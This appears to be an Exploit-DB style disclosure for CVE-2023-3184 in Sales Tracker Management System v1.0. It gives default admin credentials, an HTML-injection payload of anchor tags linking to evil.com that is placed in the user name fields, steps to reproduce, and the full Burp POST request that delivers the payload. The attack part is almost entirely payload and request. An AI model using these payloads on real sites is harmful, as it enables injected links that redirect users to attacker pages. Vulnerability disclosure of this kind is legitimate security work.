ea8922f91d
4 changes to exploits/shellcodes/ghdb Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Online Examination System Project 1.0 - Cross-site request forgery (CSRF) Sales Tracker Management System v1.0 - Multiple Vulnerabilities Teachers Record Management System 1.0 - File Upload Type Validation
100 lines
No EOL
3.3 KiB
Text
100 lines
No EOL
3.3 KiB
Text
Exploit Title: Sales Tracker Management System v1.0 – Multiple Vulnerabilities
|
||
Google Dork: NA
|
||
Date: 09-06-2023
|
||
EXPLOIT-AUTHOR: AFFAN AHMED
|
||
Vendor Homepage: <https://www.sourcecodester.com/>
|
||
Software Link: <https://www.sourcecodester.com/download-code?nid=16061&title=Sales+Tracker+Management+System+using+PHP+Free+Source+Code>
|
||
Version: 1.0
|
||
Tested on: Windows 11 + XAMPP
|
||
CVE : CVE-2023-3184
|
||
|
||
==============================
|
||
CREDENTIAL TO USE
|
||
==============================
|
||
ADMIN-ACCOUNT
|
||
USERNAME: admin
|
||
PASSWORD: admin123
|
||
|
||
=============================
|
||
PAYLOAD_USED
|
||
=============================
|
||
1. <a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>
|
||
2. <a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>
|
||
3. <a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>
|
||
4. <a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>
|
||
|
||
|
||
===============================
|
||
STEPS_TO_REPRODUCE
|
||
===============================
|
||
1. FIRST LOGIN INTO YOUR ACCOUNT BY USING THE GIVEN CREDENTIALS OF ADMIN
|
||
2. THEN NAVIGATE TO USER_LIST AND CLCIK ON `CREATE NEW` BUTTON OR VISIT TO THIS URL:`http://localhost/php-sts/admin/?page=user/manage_user`
|
||
3. THEN FILL UP THE DETAILS AND PUT THE ABOVE PAYLOAD IN `firstname` `middlename` `lastname` and in `username`
|
||
4. AFTER ENTERING THE PAYLOAD CLICK ON SAVE BUTTON
|
||
5. AFTER SAVING THE FORM YOU WILL BE REDIRECTED TO ADMIN SITE WHERE YOU CAN SEE THAT NEW USER IS ADDED .
|
||
6. AFTER CLICKING ON THE EACH PAYLOAD IT REDIRECT ME TO EVIL SITE
|
||
|
||
|
||
|
||
==========================================
|
||
BURPSUITE_REQUEST
|
||
==========================================
|
||
POST /php-sts/classes/Users.php?f=save HTTP/1.1
|
||
Host: localhost
|
||
Content-Length: 1037
|
||
sec-ch-ua:
|
||
Accept: */*
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
X-Requested-With: XMLHttpRequest
|
||
sec-ch-ua-mobile: ?0
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
|
||
sec-ch-ua-platform: ""
|
||
Origin: http://localhost
|
||
Sec-Fetch-Site: same-origin
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Dest: empty
|
||
Referer: http://localhost/php-sts/admin/?page=user/manage_user
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en-US,en;q=0.9
|
||
Cookie: PHPSESSID=r0ejggs25qnlkf9funj44b1pbn
|
||
Connection: close
|
||
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="id"
|
||
|
||
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="firstname"
|
||
|
||
<a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="middlename"
|
||
|
||
<a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="lastname"
|
||
|
||
<a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="username"
|
||
|
||
<a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="password"
|
||
|
||
1234
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="type"
|
||
|
||
2
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo
|
||
Content-Disposition: form-data; name="img"; filename=""
|
||
Content-Type: application/octet-stream
|
||
|
||
|
||
------WebKitFormBoundary7hwjNQW3mptDFOwo--
|
||
|
||
===============================
|
||
PROOF_OF_CONCEPT
|
||
===============================
|
||
GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Sales_Tracker_Management_System/stms.md |